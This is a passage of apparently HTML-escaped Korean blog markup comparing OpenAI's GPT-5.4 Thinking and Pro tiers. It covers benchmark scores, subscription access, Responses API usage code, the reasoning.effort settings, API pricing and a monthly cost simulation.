&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;벤치마크&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;GPT-5.2&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Thinking 5.4&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Pro 5.4&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;GDPval&lt;/b&gt; (44개 직종 지식 업무)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;70.9%&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd; background-color: #d4edda;&quot;&gt;&lt;b&gt;83.0% ✓&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;82.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;ARC-AGI-2&lt;/b&gt; (추상 추론)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;73.3%&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd; background-color: #d4edda;&quot;&gt;&lt;b&gt;83.3% ✓&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;BrowseComp&lt;/b&gt; (멀티소스 웹 리서치)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;82.7%&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd; background-color: #d4edda;&quot;&gt;&lt;b&gt;89.3% ✓&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;OSWorld-Verified&lt;/b&gt; (컴퓨터 조작)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;47.3%&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd; background-color: #d4edda;&quot;&gt;&lt;b&gt;75.0% ✓&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;SWE-bench Pro&lt;/b&gt; (소프트웨어 엔지니어링)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd; background-color: #d4edda;&quot;&gt;&lt;b&gt;57.7% ✓&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 5px; font-size: 12px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;✓ = 해당 카테고리 최고 성능 | &amp;mdash; = 2026-03-06 기준 공식 벤치마크 미공개 (기능 미지원이 아님) | OSWorld 인간 기준선 72.4% (GPT-5.4 Thinking이 최초 초과)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://the-decoder.com/openai-launches-gpt-5-4-thinking-and-pro-combining-coding-reasoning-and-computer-use-in-one-model/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Decoder&lt;/a&gt;, &lt;a href=&quot;https://openai.com/index/introducing-gpt-5-4/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 공식 발표&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;어떤 티어를 선택해야 하나?&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Thinking 5.4를 선택하는 경우&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;추론 경로를 직접 확인하고 감사(Audit)하고 싶을 때&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;여러 소스를 종합하는 심층 리서치&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;멀티스텝 코딩, 디버깅, 리팩토링 &amp;mdash; 로직 투명성이 중요한 작업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;모델이 계획을 제시하면 중간에 방향을 수정하고 싶을 때&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;비용이 중요할 때: Pro 대비 12배 저렴하면서 일반 업무에서 동등하거나 우세&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Pro 5.4를 선택하는 경우&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;추상 추론 퍼즐, 프런티어 논리 도전 과제 (ARC-AGI-2 수준)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;수십 개 출처를 철저히 종합하는 심층 웹 리서치 (BrowseComp 수준)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;법률, 금융, 과학 문서 분석 &amp;mdash; 오류 비용이 극히 높은 작업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;실패 비용이 높은 프로덕션 에이전트 워크플로우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;비용보다 &lt;b&gt;최대 성능이 절대적으로 필요한 경우&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;개발자를 위한 하이브리드 패턴&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티에서 권장하는 전략: &lt;b&gt;Pro를 라우팅 및 복잡한 태스크 분해에 사용&lt;/b&gt;하고, 병렬화 가능한 하위 태스크는 &lt;b&gt;Thinking이나 표준 GPT-5.4에 위임&lt;/b&gt;해 비용을 제어하는 방식이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 구독 플랜 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 구독 플랜별 접근 권한&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;구독 플랜&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: center; border: 1px solid #2a5a82;&quot;&gt;Instant 5.3&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: center; border: 1px solid #2a5a82;&quot;&gt;Thinking 5.4&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: center; border: 1px solid #2a5a82;&quot;&gt;Pro 5.4&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Free&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Plus&lt;/b&gt; ($20/월)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Team&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Pro&lt;/b&gt; ($200/월)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd; background-color: #d4edda;&quot;&gt;&lt;b&gt;O&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Enterprise&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #ddd; background-color: #d4edda;&quot;&gt;&lt;b&gt;O&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://help.openai.com/en/articles/11909943&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Help Center&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: API 활용 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. API 활용 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모델 이름 및 엔드포인트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4 API에서는 아래 모델명을 사용한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Chat Completions API + Responses API 공용
gpt-5.4             # Thinking 5.4 &amp;mdash; Chat Completions + Responses API 모두 지원
gpt-5.3             # Instant 5.3 &amp;mdash; 기본 빠른 응답

# Responses API 전용 (에이전트 워크플로우)
gpt-5.4-pro         # Pro 5.4 &amp;mdash; Responses API 전용 (Chat Completions 미지원)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: -10px;&quot; data-ke-size=&quot;size14&quot;&gt;* gpt-5-chat-latest(Auto 라우팅 별칭)는 커뮤니티 보고 기준 정보이며, 공식 API 문서에서의 확인이 필요합니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: gpt-5.4-pro는 Chat Completions API 미지원&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;gpt-5.4-pro&lt;/code&gt;는 &lt;b&gt;Responses API 전용&lt;/b&gt;이다. 기존 &lt;code&gt;/v1/chat/completions&lt;/code&gt; 엔드포인트로는 사용할 수 없다. 에이전트 워크플로우 설계 시 반드시 Responses API (&lt;code&gt;/v1/responses&lt;/code&gt;)로 마이그레이션이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Chat Completions &amp;rarr; Responses API 마이그레이션&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;기존 코드에서 달라지는 핵심 부분만 정리한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;makefile&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Before: Chat Completions (gpt-5.4 only)
response = openai.chat.completions.create(
    model=&quot;gpt-5.4&quot;,
    messages=[{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: &quot;분석해줘&quot;}],
    temperature=0.7  # reasoning 모드에서는 사용 불가
)
result = response.choices[0].message.content

# After: Responses API (gpt-5.4-pro 포함 모든 모델)
response = openai.responses.create(
    model=&quot;gpt-5.4-pro&quot;,  # 또는 &quot;gpt-5.4&quot;
    reasoning={&quot;effort&quot;: &quot;high&quot;},  # temperature 대신
    input=[{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: &quot;분석해줘&quot;}]
)
result = response.output[0].content[0].text  # 응답 구조 변경됨&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;* openai Python SDK v1.x 기준. 최신 SDK 사용법은 &lt;a href=&quot;https://platform.openai.com/docs/api-reference/responses&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 API 레퍼런스&lt;/a&gt;에서 확인.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;reasoning.effort 파라미터&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4의 추론 깊이는 &lt;code&gt;reasoning.effort&lt;/code&gt; 파라미터로 제어한다. GPT-5.4에서 새롭게 추가된 &lt;code&gt;xhigh&lt;/code&gt; 레벨은 &lt;b&gt;gpt-5.4와 gpt-5.4-pro 모두 지원&lt;/b&gt;한다. 단, &lt;code&gt;none&lt;/code&gt;과 &lt;code&gt;low&lt;/code&gt;는 gpt-5.4-pro에서는 사용할 수 없다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;coq&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;import openai

response = openai.responses.create(
    model=&quot;gpt-5.4&quot;,
    reasoning={&quot;effort&quot;: &quot;high&quot;},  # none | low | medium | high | xhigh
    input=[
        {
            &quot;role&quot;: &quot;user&quot;,
            &quot;content&quot;: &quot;복잡한 코드베이스를 분석해줘&quot;
        }
    ]
)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;effort 값&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;적용 티어&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;none&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;추론 없음, 최저 레이턴시. temperature 등 파라미터 사용 가능&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gpt-5.4 &lt;span style=&quot;color: #888; font-size: 12px;&quot;&gt;(pro 미지원)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;low&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;경량 추론&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gpt-5.4 &lt;span style=&quot;color: #888; font-size: 12px;&quot;&gt;(pro 미지원)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;medium / high&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;중&amp;middot;심층 추론 (Thinking 기본: high)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gpt-5.4, gpt-5.4-pro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;code&gt;xhigh&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;GPT-5.4 신규. 예산 무제한 Heavy 모드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;gpt-5.4, gpt-5.4-pro&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;파라미터 호환성 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;temperature&lt;/code&gt;, &lt;code&gt;top_p&lt;/code&gt;, &lt;code&gt;logprobs&lt;/code&gt;는 &lt;code&gt;reasoning.effort = &quot;none&quot;&lt;/code&gt;일 때만 사용할 수 있다. 추론 모드에서는 대신 &lt;code&gt;text.verbosity&lt;/code&gt;와 &lt;code&gt;max_output_tokens&lt;/code&gt;를 사용해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;API 가격표&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://openai.com/api/pricing/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;openai.com/api/pricing&lt;/a&gt;, 2026-03-06 기준 &amp;mdash; 최신 가격은 공식 페이지에서 확인)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: right; border: 1px solid #b3d9ff;&quot;&gt;입력 (per 1M)&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: right; border: 1px solid #b3d9ff;&quot;&gt;캐시 입력 (per 1M)&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: right; border: 1px solid #b3d9ff;&quot;&gt;출력 (per 1M)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;gpt-5.2&lt;/code&gt; (참고용)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; text-align: right; border: 1px solid #ddd;&quot;&gt;$1.75&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; text-align: right; border: 1px solid #ddd;&quot;&gt;$0.175&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; text-align: right; border: 1px solid #ddd;&quot;&gt;$14.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f8ff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;gpt-5.4&lt;/code&gt; (Thinking)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; text-align: right; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;$2.50&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; text-align: right; border: 1px solid #ddd;&quot;&gt;$0.25&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; text-align: right; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;$15.00&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;gpt-5.4-pro&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; text-align: right; border: 1px solid #ddd; color: #dc3545;&quot;&gt;&lt;b&gt;$30.00&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; text-align: right; border: 1px solid #ddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; text-align: right; border: 1px solid #ddd; color: #dc3545;&quot;&gt;&lt;b&gt;$180.00&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;* 272K 토큰 초과 구간: 정상 요금의 2배 과금 적용 (공식 문서 기준)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실전 비용 시뮬레이션&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가격표만 보면 막연하다. 실제 에이전트 워크플로우 시나리오로 월간 비용을 추정해보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 10px; border: 1px solid #cce5ff; margin: 15px 0;&quot;&gt;&lt;b&gt;시나리오: 하루 50건 에이전트 태스크 (평균 입력 8K 토큰 + 출력 1.5K 토큰)&lt;/b&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 12px 0 0 0; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;전략&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #b3d9ff;&quot;&gt;건당 비용&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #b3d9ff;&quot;&gt;일간&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #b3d9ff;&quot;&gt;월간 (30일)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #ddd;&quot;&gt;Thinking 5.4 전용 (&lt;code&gt;gpt-5.4&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #ddd;&quot;&gt;$0.042&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #ddd;&quot;&gt;$2.10&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #ddd; background-color: #d4edda;&quot;&gt;&lt;b&gt;~$63&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #ddd;&quot;&gt;Pro 5.4 전용 (&lt;code&gt;gpt-5.4-pro&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #ddd;&quot;&gt;$0.51&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #ddd;&quot;&gt;$25.50&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; text-align: right; border: 1px solid #ddd; color: #dc3545;&quot;&gt;&lt;b&gt;~$765&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
